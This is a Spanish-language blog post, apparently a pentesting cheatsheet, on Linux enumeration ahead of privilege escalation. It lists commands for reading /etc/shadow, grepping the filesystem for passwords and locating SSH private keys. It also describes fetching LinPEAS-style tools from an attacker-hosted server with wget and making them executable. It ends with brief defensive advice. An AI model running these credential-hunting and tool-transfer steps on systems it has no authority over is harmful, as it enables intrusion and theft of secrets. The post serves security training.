← Blog

Enumeración en Linux

Enumeración inicial en Linux: sistema, usuarios, red, caza de contraseñas y herramientas automatizadas (LinPEAS, LinEnum).

Enumeración en Linux

Operational Scope & Technical Objective

La enumeración es la fase previa a la escalada de privilegios: mapear el sistema (kernel, distribución, servicios), las cuentas locales, la superficie de red y los materiales residuales (historiales, credenciales en archivos, claves SSH). El flujo manual se estructura en cuatro planos — sistema, usuario, red y búsqueda de contraseñas — y se complementa con herramientas automatizadas (LinPEAS, LinEnum, linux-exploit-suggester, linuxprivchecker) que consolidan los hallazgos y correlacionan versiones de software contra CVEs.

High-Impact Syntax & Command Cheatsheet

System Enumeration

hostname               # nombre del host

uname -a               # info de kernel
cat /proc/version      # string de compilación del kernel
cat /etc/issue         # info de distribución (login banner)
lscpu                  # CPU/arquitectura

ps aux                 # servicios en ejecución
ps aux | grep root     # procesos que corren como root

User Enumeration

whoami                 # usuario actual
id                     # UID/GID y grupos

sudo -l                # comandos que el usuario puede ejecutar con sudo

cat /etc/passwd
cat /etc/passwd | cut -d : -f 1    # lista de usuarios
cat /etc/shadow                    # hashes (si es legible)
cat /etc/group

history                # historial del shell actual

Network Enumeration

ip a s            # interfaces y direcciones
ip route          # tabla de rutas
ip neigh          # tabla ARP / vecinos

netstat -ano      # puertos abiertos y conexiones
ss -ltnp          # puertos en escucha TCP con proceso (si no hay netstat)

Password Hunting

grep --color=auto -rnw '/' -ie "PASSWORD=" --color=always 2>/dev/null
# búsqueda recursiva de una cadena; ajustar bien la cadena porque es costosa en tiempo

locate password | more       # archivos cuyo nombre contiene 'password'

find / -name authorized_keys 2>/dev/null   # claves SSH autorizadas
find / -name id_rsa 2>/dev/null            # claves privadas

Automated Enumeration Tools

./linpeas.sh                     # enumeración base completa
./linux-exploit-suggester.sh     # sugiere CVEs aplicables al kernel

Real-World Offensive/Defensive Scenarios

  • Flujo recomendado (ofensivo): ejecutar linpeas.sh primero para generar hipótesis y luego verificar manualmente cada hallazgo (un binario SUID listado por LinPEAS debe validarse en GTFOBins antes de explotarlo). linux-exploit-suggester.sh complementa con candidatos de kernel, que deben contrastarse contra uname -a exacto.

  • Transferencia del script (ofensivo): si el target no puede descargar desde el host de ataque, se sirve el archivo con python3 -m http.server 8000 en la máquina del operador y se obtiene en el target con wget http://IPTun0:Puerto/archivo && chmod +x archivo; como alternativa, pegar el raw de LinEnum en un archivo .sh local y darle chmod +x.

  • Priorización de la caza de credenciales (ofensivo): los greps de contraseñas son lentos sobre todo el filesystem; acotar a rutas de interés (/etc, /var/www, /home/*, historiales) reduce ruido y tiempo.

  • Detección (defensivo): history y bash_history deben tratarse como información sensible; auditar sudo -l periódicamente y eliminar binarios SUID innecesarios, además de monitorizar el acceso a /etc/shadow mediante auditd.